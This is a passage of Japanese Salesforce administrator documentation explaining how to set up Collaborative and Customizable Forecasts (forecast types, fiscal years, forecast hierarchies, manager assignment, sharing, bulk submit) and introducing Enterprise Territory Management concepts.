コラボレーション売上予測の設定に関するガイドライン
[コラボレーション売上予測] 商談ペインでの項目の表示

営業マネージャのコラボレーション売上予測の収益分割売上予測またはオーバーレイ分割売上予測
の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Enterprise Edition、および
Developer Edition

ユーザ権限

売上予測設定を参照する
• 「設定・定義を参照す

る」

売上予測設定を編集する
• 「アプリケーションの

カスタマイズ」

収益分割売上予測を追加すると、営業チームが複数の営業担当の商談から収益
を追跡できます。オーバーレイ売上予測を追加すると、営業チームがオーバー
レイ営業ロールからの収益を追跡できます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

1. 次が有効になっていることを確認します。
• コラボレーション売上予測
• チームセリングと商談分割
• 収益商談分割種別またはオーバーレイ商談分割種別

2. Lightning Experience を使用している場合は、Salesforce Classic に切り替えます。
3. [設定] から、[クイック検索] ボックスに「売上予測の設定」と入力し、[売上

予測の設定] を選択します。
4. 売上予測種別を最大 4 つまで有効にします。

• 売上予測種別が有効になっていない場合は、[売上予測種別を追加] をク
リックします。

• 少なくとも 1 つの売上予測種別が有効になっている場合は、[別の売上予
測種別を追加] をクリックします。

5. [売上予測種別] メニューで、[商談収益分割] または [商談オーバーレイ分割] を選択します。収益は、オー
バーレイ分割で使用可能な唯一の売上予測単位です。
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6. オーバーレイ売上予測の売上予測ページで関連商談リストに表示する列を選択します。[分割] 列を含める
と、売上予測ユーザにとって、各商談の分割金額が見やすくなります。

7. [OK] をクリックして、変更を保存します。

営業マネージャのコラボレーション売上予測のカスタム項目売上予測の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition (カスタ
ム項目の売上予測を除
く)、Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

商談の分割を使用可能な
エディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

商談分割種別を有効にす
る
• 「アプリケーションの

カスタマイズ」

売上予測設定を参照する
• 「設定・定義を参照す

る」

売上予測設定を編集する
• 「アプリケーションの

カスタマイズ」

営業チームが売上予測を実行する各カスタム商談項目で、項目に分割が含まれ
ていない場合でも、カスタム分割種別を有効にします。営業担当者が商談を作
成すると、この担当者は有効にされた 100% 検証済みのカスタム分割種別に対
し、100% 分割を受け取ります。カスタム項目を分割しない場合でも、売上予測
積み上げ集計にはカスタム項目の金額の 100% が含まれます。

メモ: この情報は、[コラボレーション売上予測] に適用され、[カスタマイ
ザブル売上予測] には適用されません。

1. 次が有効になっていることを確認します。
• コラボレーション売上予測
• 少なくとも 1 つのカスタム商談通貨項目
• チームセリングと商談分割
• カスタム項目に基づくカスタム商談分割種別

2. Lightning Experience を使用している場合は、Salesforce Classic に切り替えます。
3. [設定] から、[クイック検索] ボックスに「売上予測の設定」と入力し、[売上

予測の設定] を選択します。
4. 売上予測種別を最大 4 つまで有効にします。

• 売上予測種別が有効になっていない場合は、[売上予測種別を追加] をク
リックします。

• 少なくとも 1 つの売上予測種別が有効になっている場合は、[別の売上予
測種別を追加] をクリックします。

5. [売上予測種別] メニューで、カスタム商談項目に基づいて作成したカスタム
商談分割種別の名前を選択します。収益は、カスタム項目売上予測で使用可
能な唯一の売上予測単位です。

6. カスタム項目売上予測の売上予測ページで関連商談リストに表示する列を選
択します。[分割] 列を含めると、コラボレーション売上予測ユーザにとって、
各商談の分割金額が見やすくなります。

7. [OK] をクリックして、変更を保存します。

関連トピック:

商談分割の有効化
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カスタマイザブル売上予測の設定

カスタマイザブル売上予測の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

売上予測は、四半期で達成可能な売上の最善の見積額を表します。売上予測か
ら、マネージャと役員は、営業チームの分散状況に関係なく、業務の全体像を
把握できます。
売上予測は極めて普遍的なため、カスタマイザブル売上予測は、もっとも高度
な要求にも対応できる柔軟性の高いソリューションです。カスタマイザブル売
上予測の使用を開始するには、[設定] から [クイック検索] ボックスに「カスタ
マイザブル売上予測」と入力し、[カスタマイザブル売上予測] を選択します。
• 組織のデフォルト設定をカスタマイズするには、[売上予測の設定編集] をク

リックします。「カスタマイザブル売上予測設定の定義」を参照してくださ
い。

• 一括保存を設定するには、[ユーザに売上予測を一括で設定します] をクリックします。「カスタマイザブ
ル売上予測の一括保存」を参照してください。

• 最初の売上予測の階層を設定するには、[売上予測階層の設定]をクリックします。「売上予測階層の設定」
を参照してください。

関連トピック:

カスタマイザブル売上予測の一括保存
商品ファミリを使用

カスタマイザブル売上予測設定の定義

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

売上予測設定を定義する
• 「アプリケーションの

カスタマイズ」

組織でカスタマイザブル売上予測を有効にしたら、ビジネスを行う上で最適な
設定を指定する必要があります。

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

組織に対して次の設定を行います。
• [売上予測データの設定] で、売上予測に表示されるデータの種別を決定しま

す。
• [売上予測概要のデフォルトビュー] で、デフォルトの商品ファミリ、デフォ

ルトの売上予測用に、開始日、日付の範囲、および売上予測番号を決定しま
す。

• [売上予測データの共有] で、売上予測データを共有可能にするかどうかを決
定します。

売上予測オプションを設定する手順は、次のとおりです。
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1. [設定] から、[クイック検索] ボックスに「売上予測」と入力し、[売上予測の設定] を選択します。
2. 売上予測に収益を含める場合は、[収益ベースの売上予測] をオンにします。この設定を無効にすると、売

上予測に対するすべての収益の上書きが失われます。
3. 売上予測に数量合計を含める場合は、[数量ベースの売上予測]をオンにします。この設定を無効にすると、

売上予測に対するすべての数量の上書きが失われます。
4. [売上予測の期間] を選択します。カスタム会計年度が有効にされていない場合は、組織の売上予測サイク

ルに合わせて、月次または四半期次を選択します。月または四半期の開始日は、グリニッチ標準時間 (GMT)

に基づいています。カスタム会計年度を有効にしている場合は、会計年度による売上予測または四半期ご
との売上予測を選択できます。選択した売上予測期間により、目標と売上予測を表示する範囲が変わりま
す。月を選択した場合は、四半期ごとの合計も確認できますが、四半期を選択した場合は、月ごとの売上
合計を確認することはできません。この設定を変更すると、すべての売上予測履歴も含めて、すべての上
書きと売上予測が失われます。

5. 商談金額が売上予測にどのように加算されるかを決める [売上予測の計上日付] を選択します。
• この日付が範囲に入る売上予測期間に商談金額すべてを加算する場合は、[商談完了日]を選択します。

組織で商品を使用していない場合、選択可能なオプションはこれだけです。
• 商談の商品金額を [商品 提供日] に対応する売上予測期間に加算する場合は、[商品 提供日] を選択し

ます。商談に商品が存在しない場合や商品の提供日が空白の場合、Salesforceは、代わりにユーザの売上
予測の [商談完了日] を使用します。

• 個々の収益スケジュール金額を、スケジュール日に応じて売上予測期間に加算する場合は、[スケジュー
ル日] を選択します。商品に収益スケジュールが存在しない場合、Salesforce は、代わりにユーザの売上
予測の [商品 提供日] を使用します。

6. [売上予測種別] を選択します。
• 組織で商品を使用していない場合は、[一括で予測]を選択します。ユーザの各期間の売上予測と目標は

1 つずつになります。組織で商品を使用していない場合、選択可能なオプションはこれだけです。
• それぞれの商品ファミリに対するユーザの目標と売上予測が 1 つずつの場合は、[商品ファミリ単位で予

測] を選択します。「商品ファミリを使用」を参照してください。

7. ユーザのデフォルトビューを選択します。この設定により、ユーザが [売上予測] タブを最初にクリックし
たときに表示される、売上予測の商品ファミリ、開始日、日付の範囲、および売上予測合計が決まります。
ユーザは、自分のビューを変更できますが、デフォルトのビューは、ユーザ全員変わりません。

8. [売上予測共有の有効化] を選択または選択解除して、売上予測の共有を有効または無効にします。
9. [保存] をクリックします。

売上予測共有を有効にした場合、既存の売上予測ビューを共有できるユーザを選択するように要求されま
す。選択肢は次のとおりです。
• 売上予測の共有にはシステム管理者のサポートが必要  - システム管理者のみが既存の売上予測データを共

有できます。
• 売上予測マネージャは自分の売上予測データを共有可能  - システム管理者は、既存の売上予測データを共

有でき、既存の売上予測マネージャも自分のビューを共有できます。
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メモ: この選択は、既存の売上予測ビューにのみ適用されます。組織のデフォルト設定ではありませ
ん。ロール階層で売上予測マネージャの編集または割り当てを行うたびに、そのビューを共有する
ユーザを定義します。

売上予測共有を無効にした場合には、選択を確認するように要求されます。
カスタマイザブル売上予測には 5 つの標準レポートタイプが含まれます。カスタマイザブル売上予測では、
カスタムレポートタイプを作成できません。

関連トピック:

カスタマイザブル売上予測の設定
売上予測の共有の直接設定
カスタマイザブル売上予測の会計年度の設定

カスタマイザブル売上予測の会計年度の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

会計年度を設定する
• 「アプリケーションの

カスタマイズ」

標準会計年度は、毎月または毎四半期の売上予測サイクル、開始する月、[会計
年度]名を年度初めまたは年度末のどちらにするかを指定できます。たとえば、
会計年度が 2015 年 4 月に始まり、2016 年 3 月に終わる場合は、会計年度を 2015

と 2016 のどちらにも設定できます。

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

カスタマイザブル売上予測の会計年度を設定する手順は、次のとおりです。
1. データをアーカイブします。設定を変更すると商談データおよび売上予測

データに影響するため、会計年度を設定する前に週次または月次データのエ
クスポートを実行することをお勧めします。

2. [設定] から、[クイック検索] ボックスに「会計年度」と入力し、[会計年度]

を選択します。
3. 売上予測サイクルに合わせて、毎月または毎四半期の [売上予測の期間] を

選択します。月または四半期の開始日は、グリニッチ標準時間 (GMT) に基づ
いています。
選択した売上予測期間により、目標と売上予測を表示する範囲が変わりま
す。月を選択した場合は、四半期ごとの合計も確認できますが、四半期を選択した場合は、月ごとの売上
合計を確認することはできません。

4. 会計年度初めを表す [会計年度期首月] を選択します。
5. 会社が会計年度を参照する方法を表す、[会計年度の表記] オプションを選択します。たとえば、2015 年 4

月に始まり、2016 年 3 月に終わる会計年度を2016 会計年度とする場合は、[期末月に合わせる: 注意 期首月
が 1 月の場合は、必ずこちらに設定してください。]を選択します。期末月によって、会社での会計年度の
呼び方が決まります。
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6. カスタマイザブル売上予測を有効にする前に作成された売上予測の会計年度設定を変更する場合は、[すべ
ての売上予測と目標に適用する] を選択してください。このオプションにより、売上予測データの履歴が変
更されます。

7. [保存] をクリックします。

関連トピック:

カスタマイザブル売上予測の設定

売上予測階層の設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

テリトリー管理を使用可
能なエディション:
Developer Edition、
Performance Edition、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測階層を設定する
• 「アプリケーションの

カスタマイズ」

売上予測階層では、すべての売上予測ユーザが一覧表示され、Salesforce 組織で
ユーザの売上予測がどのように合算されるかが決定されます。売上予測階層を
最新の状態に保ち、売上予測マネージャが部下全員の売上予測金額を確認でき
るようにします。

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

売上予測は、デフォルトではロール階層に基づき、組織でテリトリー管理を採
用している場合はテリトリー階層に基づきます。
組織でカスタマイザブル売上予測を有効にすると、組織のロール階層を基にし
て、売上予測階層が自動的に生成されます。テリトリー階層に基づいて売上予
測階層が生成されるのは、テリトリー管理が有効になっている場合のみです。
売上予測階層をカスタマイズする手順は、次のとおりです。
• 適切なすべてのユーザが売上予測階層内に存在することを確認します。ユー

ザが存在しない場合は、「ユーザに対するカスタマイザブル売上予測の有効
化」を参照してください。

• 売上予測階層内の 1 つのロールまたはテリトリーに複数のユーザが存在する
場合は、売上予測マネージャに割り当てられているユーザが適切なことを確
認します。売上予測階層の一番下の各ユーザを売上予測マネージャになりま
す。ただし、それより上の階層でも、売上予測マネージャとしてユーザを 1

人選択することで、そのユーザに売上予測が合算されるようにする必要があ
ります。「売上予測階層内の売上予測マネージャの割り当て」を参照してく
ださい。

• 売上予測マネージャビューを他のユーザと共有します。「売上予測の共有の
直接設定」を参照してください。

部下を持つ各営業マネージャが、売上予測階層内で売上予測マネージャとして指定されていることを確認しま
す。これにより、売上予測の表示で階層の各レベルにまで積み上げ集計されます。
売上予測階層内のロールまたはテリトリーの横に [売上予測がありません]と表示されている場合は、そのロー
ルまたはテリトリーに売上予測マネージャが割り当てられていないことを表しています。
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メモ: 売上予測階層またはロール階層からユーザを削除すると、そのすべての目標および上書きデータが
完全に削除されます。

関連トピック:

カスタマイザブル売上予測の設定
売上予測階層の設定
売上予測の共有の直接設定

ユーザに対するカスタマイザブル売上予測の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

テリトリー管理を使用可
能なエディション:
Developer Edition、
Performance Edition、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

売上予測階層を設定する
• 「アプリケーションの

カスタマイズ」または
「ユーザの管理」

ユーザに売上予測へのアクセス権を付与するには、ユーザを売上予測階層に追
加して、「売上予測を許可」権限を付与します。

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

組織でテリトリー管理を使用していない場合に、ユーザに対してカスタマイザ
ブル売上予測を有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「売上予測階層」と入力し、[売上予

測階層] を選択します。
2. あるレベルに割り当てられているユーザの一覧を参照するには、そのレベル

のロールの横にある [ユーザの有効化] をクリックします。
3. ユーザに対してカスタマイザブル売上予測を有効にするには、ユーザを選択

し、[追加] をクリックします。ユーザを無効にするには、ユーザを選択し、
[削除] をクリックします。

4. [保存] をクリックします。

メモ: 売上予測階層またはロール階層からユーザを削除すると、そのすべ
ての目標および上書きデータが完全に削除されます。

組織でテリトリー管理を使用している場合に、ユーザに対してカスタマイザブ
ル売上予測を有効にする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. ユーザ名の横にある [編集] をクリックします。
3. [売上予測を許可] を選択します。
4. [保存] をクリックします。
5. ユーザをテリトリーに追加します。
カスタマイザブル売上予測には 5 つの標準レポートタイプが含まれます。カスタマイザブル売上予測では、カ
スタムレポートタイプを作成できません。
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メモ: テリトリーに属するユーザの一覧を参照するには、テリトリー階層からテリトリー名を選択する
か、テリトリーレポートを選択します。テリトリーレポートについての詳細は、「テリトリーレポート」
を参照してください。
複数のユーザをロールまたはテリトリーに追加する場合は、1 人のユーザのみをそのロールまたはテリト
リーの売上予測マネージャに割り当てます。「売上予測階層内の売上予測マネージャの割り当て」を参
照してください。

関連トピック:

カスタマイザブル売上予測の設定
テリトリー管理の有効化
売上予測の共有の直接設定

売上予測階層内の売上予測マネージャの割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

売上予測階層を設定する
• 「アプリケーションの

カスタマイズ」

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

カスタマイザブル売上予測に対してユーザを有効にした後、ユーザを売上予測
マネージャとして売上予測階層内の各ロールに割り当てます。売上予測マネー
ジャを割り当てると、そのマネージャよりも売上予測階層内で下位に属するユー
ザの売上予測がすべてそのマネージャに合算されます。下位に属するすべての
売上予測がそのマネージャまで合算されるため、たとえば、売上予測階層では、
仮にマネージャとアシスタントのロールが同じでも、マネージャが割り当てら
れた売上予測マネージャとなります。マネージャとアシスタントの両者が売上
予測を登録することもできますが、他のユーザの売上予測はアシスタントまで
合算されません。
売上予測階層内に売上予測マネージャがいない場合、そのロールとすべての下
位ロールが売上予測から除外されます。
売上予測階層内のロールまたはテリトリーの横に [売上予測がありません] と表
示されている場合は、そのロールまたはテリトリーに売上予測マネージャが割
り当てられていないことを表しています。
1. [設定] から、[クイック検索] ボックスに「カスタマイザブル売上予測」と入力し、[売上予測階層] を選択し

ます。
2. ユーザを特定のロールの売上予測マネージャに割り当てるには、そのロールの横にある[マネージャの割り

当て] または [マネージャの編集] をクリックします。
全レベルでの売上予測マネージャをサポートするテリトリー管理を持つ組織を除き、下位にロールがない
ロールには売上予測マネージャを指定できません。

3. 選択したロールの売上予測マネージャとして割り当てるユーザを選択します。そのロールに対して割り当
て可能なユーザが存在しない場合は、適切なユーザを有効化します。「ユーザに対するカスタマイザブル
売上予測の有効化」を参照してください。

4. 売上予測共有が有効になっている場合、共有設定を選択します。
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[売上予測の共有にはシステム管理者のサポートが必要] を選択すると、このビューの売上予測共有をシ
ステム管理者に制限できます。これは、デフォルトのオプションです。

•

• [売上予測マネージャは自分の売上予測ビューを共有可能] を選択すると、システム管理者や売上予測マ
ネージャは、このビューを共有できます。

5. [保存] をクリックします。

関連トピック:

カスタマイザブル売上予測の設定
売上予測階層の設定
売上予測の共有の直接設定

カスタマイザブル売上予測の有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタマイザブル売上予
測を有効にする
• 「アプリケーションの

カスタマイズ」

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

組織でカスタマイザブル売上予測を有効にすることにより、売上予測ユーザが、
カスタマイザブル売上予測設定に基づいて [売上予測] タブからカスタマイザブ
ル売上予測を表示および登録できるようになります。カスタマイザブル売上予
測には 5 つの標準レポートタイプが含まれます。カスタマイザブル売上予測で
は、カスタムレポートタイプを作成できません。
1. [設定] から、[クイック検索] ボックスに「売上予測階層」と入力し、[売上予

測階層] を選択します。
2. [カスタマイザブル売上予測の有効化] をクリックします。このオプションを

選択できない場合は、組織でカスタマイザブル売上予測がすでに有効になっ
ています。カスタマイザブル売上予測を有効にすると、次の 3 つのユーザ権
限が新たに使用できるようになります。

説明権限

ユーザが、自分の売上予測と、売上
予測階層において自分より下位に属

売上予測の上書き

するユーザの売上予測を上書きでき
るようになります。「参照のみ」権
限を除くすべての標準プロファイル
にこの権限が与えられます。

ユーザが、自分自身の目標を変更で
きるようになります。「参照のみ」

自分の目標の編集

権限を除くすべての標準プロファイ
ルにこの権限が与えられます。
「ユーザの管理」権限を持つユーザ
は、いつでも目標を編集できます。
ユーザは、自分を直属の上司とする
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説明権限

ユーザの目標をいつでも編集できます。

ユーザが、売上予測階層内の自分の位置に関係な
く、どの売上予測でも参照できるようになります。

すべての売上予測の参照

システム管理者プロファイルにこの権限が与えられ
ます。

3. 新しい [商談売上予測] 関連リストに含める商談ページレイアウトを選択します。ユーザが関連リストをカ
スタマイズしている場合は、[添付...] オプションを選択して、この関連リストをページレイアウトに追
加します。

4. [保存] をクリックします。
5. 必要に応じて、これらの権限を有効または無効にします。

メモ: カスタマイザブル売上予測を使用した場合でも、売上予測は、[商談フェーズ]選択リスト値が「売
上予測分類」にどのように対応付けられるかに依存します。

関連トピック:

カスタマイザブル売上予測の設定
テリトリー管理の有効化
売上予測の共有の直接設定

売上予測の共有の直接設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

システム管理者が組織の売上予測階層を定義します。この階層により、売上予
測データを参照できるユーザが決まります。それに対し、システム管理者が売
上予測データの共有権限を手動で拡張でき、ユーザ自身も自分の売上予測デー
タの共有権限を手動で拡張できます。売上予測の共有設定によって売上予測デー
タへのアクセス権を拡大することはできますが、すでにアクセス権を持ってい
るユーザのアクセス権を制限することはできません。売上予測の共有を直接設
定するには、システム管理者か売上予測データを共有する権限を与えられた売
上予測マネージャである必要があります。
売上予測を参照できるユーザを確認、または売上予測データを共有するには、
次のいずれかの手順を実行します。
• [設定] から、[クイック検索] ボックスに「売上予測階層」と入力し、[売上予測階層]を選択してから、共有

するビューの横にある [共有] をクリックします。
• 売上予測データを共有するには、売上予測のホームページの [共有] をクリックします。
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[ユーザとグループの共有] 一覧に、現在この売上予測データへのアクセス権を持っているすべてのユーザが表
示されます。また、ユーザが持っているアクセス権、売上予測を登録できるかどうか、そのアクセス権を持っ
ている理由の詳細も表示されます。ユーザが売上予測データへのアクセス権を持っている理由は、次のとおり
です。

説明理由

システム管理者であるか、「すべてのデータの編集」
権限を持っているユーザです。

管理者

売上予測の[共有]ボタンによって与えられた売上予測
データへのアクセス権を持つユーザです。

代理売上予測マネージャ

売上予測階層の売上予測マネージャであることから、
アクセス権を持つユーザです。

売上予測マネージャ

所有者は、自分の売上予測データをいつでも参照でき
ます。

所有者

ユーザに「すべての売上予測の参照」権限がありま
す。

すべての売上予測権限の参照

売上予測共有の詳細ページから、次の作業を実行できます。
• 項目の絞り込みリストを表示するには、[ビュー]ドロップダウンリストから事前定義済みのリストを選択

するか、[新規ビューの作成] をクリックして、自分専用のカスタムビューを定義します。作成したビュー
を編集または削除するには、[ビュー] ドロップダウンリストからビューを選択し、[編集] をクリックしま
す。

• 売上予測データへの他のユーザまたはグループのアクセスを許可するには、[追加] をクリックします。

メモ: 共有の直接設定が、売上予測を構成する商談データまで拡張されます。ユーザが売上予測デー
タを上書きする権限を持っている場合、そのユーザは、商談売上予測データを上書きする権限も持っ
ています。

• 売上予測データへのアクセス権を持つすべてのユーザを表示するには、[リストの拡張]をクリックします。
• 自分で作成した共有の直接設定ルールについては、リスト内の項目の横にある [編集] か [削除] をクリック

すると、アクセスレベルを編集または削除できます。

関連トピック:

カスタマイザブル売上予測設定の定義
カスタマイザブル売上予測の設定
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カスタマイザブル売上予測の一括保存

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

売上予測を一括して保存
する
• 「すべてのデータの編

集」

売上予測を保存することにより、売上予測データのスナップショットを撮り、
そのデータを売上予測履歴とレポートで使用できます。複数の売上予測を一度
に保存することで、時間が節約されます。

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

複数の売上予測を一度に保存する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「一括保存」と入力し、[売上予測の

一括登録] を選択します。
2. 売上予測期間を選択します。
3. 保存する売上予測を持つユーザを選択し、[追加] をクリックして、ユーザを

[一括登録対象として選択したユーザ] リストに追加します。一度に 2 人以上
選択するには、[CTRL] を押しながらクリックします。

4. [送信] をクリックします。
5. [OK] をクリックします。
ユーザは、自分の売上予測から [送信] をクリックすることにより、自分の売上
予測を個別に保存することもできます。

関連トピック:

カスタマイザブル売上予測の設定

テリトリーのカスタマイズ

エンタープライズテリトリー管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

エンタープライズテリトリー管理では、販売する取引先に営業担当者を接続す
る論理的で柔軟な構造に、営業テリトリーをモデル化できます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。エンタープライズ
テリトリー管理とコラボレーション売上予測は、Salesforce 組織で同時に有
効化して使用できますが、現在、2 つの機能は連動するように統合されて
いません。

Salesforce の元のテリトリー管理機能では、郵便番号、業種、収益、業務に関連
するカスタム項目などの条件に基づいて、取引先へのアクセス権限をユーザに
付与できます。エンタープライズテリトリー管理には、元の機能に加えて、テ
リトリー種別、テリトリーモデル、テリトリーモデルの状態が導入されました。
最適なモデルを有効化および実装する前に、これらのコンポーネントを使用し
て、複数のテリトリー構造や戦略を作成およびプレビューできます。エンタープライズテリトリー管理では、
テリトリー、取引先、商談間で割り当てを簡単に行うこともできます。カスタムレポートは、最適なカバー率
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を実現するテリトリーモデルの編成、テリトリーの効果の評価、および必要に応じてモデルの変更を行うのに
役立ちます。テリトリーモデルを設計および作成するときに、チームで Chatter を使用してコラボレーションで
きます。
この機能の実装の包括的な説明については、『Enterprise Territory Management Implementation Guide』(エンタープライ
ズテリトリー管理実装ガイド) を参照してください。

エンタープライズテリトリー管理の概念
エンタープライズテリトリー管理を強力かつ使いやすくするため、機能および関連する概念について理解
します。概念を理解すると、テリトリーをより効率的にモデル化するのに役立ちます。
Salesforce 組織の営業テリトリーの管理
エンタープライズテリトリー管理を使用して、組織の営業テリトリーを管理および保持します。テリトリー
種別を作成し、モデルを作成した後、取引先割り当てルールを追加してテストします。モデルに満足した
ら、有効化し、ユーザと取引先を割り当てます。組織にロールアウトし、レポートを実行してその影響を
評価し、必要に応じて調整します。
エンタープライズテリトリー管理レポートのカスタムレポートタイプの作成
エンタープライズテリトリー管理を使用している組織は、取引先割り当て、ユーザ割り当てなどを示すレ
ポートを実行できます。営業マネージャおよび他のユーザが必要なレポートを作成できるように、カスタ
ムレポートタイプを設定します。
テリトリーに割り当てられた取引先のレポート
テリトリーに割り当てられた取引先のレポートを作成することで、営業テリトリーへの取引先の割り当て
を管理します。どの取引先がどのテリトリーに割り当てられているかを確認します。
取引先が割り当てられていないテリトリーのレポート
取引先が割り当てられていないテリトリーモデルのテリトリーのレポートを作成することで、営業テリト
リーへの取引先の割り当てを管理します。
テリトリーに割り当てられていないユーザのレポート
テリトリーに割り当てられなかったユーザのレポートを作成することで、営業テリトリーへのユーザの割
り当てを管理します。
ユーザが割り当てられたテリトリーのレポート
ユーザが割り当てられたテリトリーモデルのテリトリーを見つけることで、営業テリトリーへのユーザの
割り当てを管理します。割り当て済みのどのユーザがどのテリトリーに属しているかを確認します。
テリトリーで集計可能な取引先のレポート
年間売上や従業員数など、集計可能な取引先データのレポートを作成することで、テリトリーのサイズを
判断します。
テリトリーモデルのアーカイブ
テリトリーモデルをアーカイブすると組織では無効化されますが、テリトリーモデルリストには残るため、
関連付けられた割り当てルールや、ルールで生成された取引先からテリトリーへの割り当ては参照できま
す。アーカイブできるのは、[有効] 状態のモデルのみです。アーカイブしたモデルを [有効] 状態または
[計画] 状態に戻すことはできません。
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テリトリーモデルの削除
テリトリー管理および参照用に組織でモデルを積極的に使用しなくなった場合は、テリトリーモデルを削
除します。有効なテリトリーは削除できません。モデルは 計画 または アーカイブ済み 状態である必要が
あります。
テリトリーモデルレベルでの割り当てルールの参照および管理
割り当てルールを上位のレベルで参照および管理することも可能です。テリトリーモデルレコードから開
始して、モデルのテリトリーのルールを作成、編集、または参照します。モデルレベルのルールのリスト
から、ルール条件を参照するか、ルールレコードを開いて、ルールがどのテリトリーに割り当てられてい
るか (割り当てられている場合) を確認します。
割り当てルールの有効化および下位テリトリーへの適用
割り当てルールを下位テリトリーに適用する機能は、テリトリーレベルでのみ使用できます。テリトリー
モデルレベルで、割り当てルールを下位テリトリーに割り当てることはできません。そのため、個々のテ
リトリーからルールのレコードにアクセスした場合は、ルールを下位テリトリーに適用するオプションし
か表示されません。
エンタープライズテリトリー管理の無効化
必要に応じて、組織のエンタープライズテリトリー管理を無効にし、レコード共有に別の手段を使用でき
ます。

関連トピック:

Enterprise Territory Management Implementation Guide (エンタープライズテリトリー管理実装ガイド)

エンタープライズテリトリー管理の概念

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

エンタープライズテリトリー管理を強力かつ使いやすくするため、機能および
関連する概念について理解します。概念を理解すると、テリトリーをより効率
的にモデル化するのに役立ちます。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

テリトリー種別
テリトリー種別は、会社にとって重要な特性でテリトリーを整理するのに役
立ちます。作成するすべてのテリトリーには、テリトリー種別が必要です。
テリトリー種別は、テリトリーの整理および作成にのみ使用され、テリト
リーモデル階層には表示されません。
テリトリー種別の優先度
テリトリー種別の優先度情報の指定と管理は、作成または編集したテリトリーに適切なテリトリー種別を
選択するのに役立ちます。定義済みの優先度オプションは存在しないため、組織で独自の優先度スキーマ
を作成する必要があります。たとえば、001 をテリトリー種別の最も高い優先度または最も低い優先度に
することができます。テリトリー種別をさらに追加した場合にスキーマを拡張できるようにします。
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テリトリー
テリトリーにより、取引先のグループおよびその取引先を操作する Salesforce ユーザのグループが編成され
ます。テリトリーは、テリトリー種別に基づいて作成されます。
テリトリーモデル
テリトリーモデルは、組織の完全なテリトリー管理システムを表します。最適なモデルを有効化する前に、
モデル化を使用して、複数のテリトリー構造や、取引先およびユーザの異なる割り当てを作成およびプレ
ビューできます。
テリトリー階層
テリトリー階層には、モデルのテリトリー構造が表示され、メインの操作ポイントとしての役割を果たし
ます。階層から開始して、テリトリーの作成、編集、および削除、テリトリーの割り当てルールの実行、
テリトリーの詳細ページに移動して詳細情報の確認を行います。階層から、商談へのテリトリーの割り当
て、モデルレベルでの割り当てルールの実行、モデルの有効化またはアーカイブを行うこともできます。
テリトリーモデルの状態
テリトリーモデルの状態は、テリトリーが計画、使用中、アーカイブ済みのどのフェーズにあるかを示し
ます。組織では一度に 1 つの 有効 テリトリーしか使用できませんが、計画 または アーカイブ済み 状態の
モデルを複数作成して、他のモデル化または参照に使用できます。
エンタープライズテリトリー管理の機能とデータアクセスに権限が与える影響は?

エンタープライズテリトリー管理を実装する場合は、機能の権限がどのようにシステム管理に影響し、レ
コードおよびデータへのアクセスが提供されるのかを把握する必要があります。

テリトリー種別

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
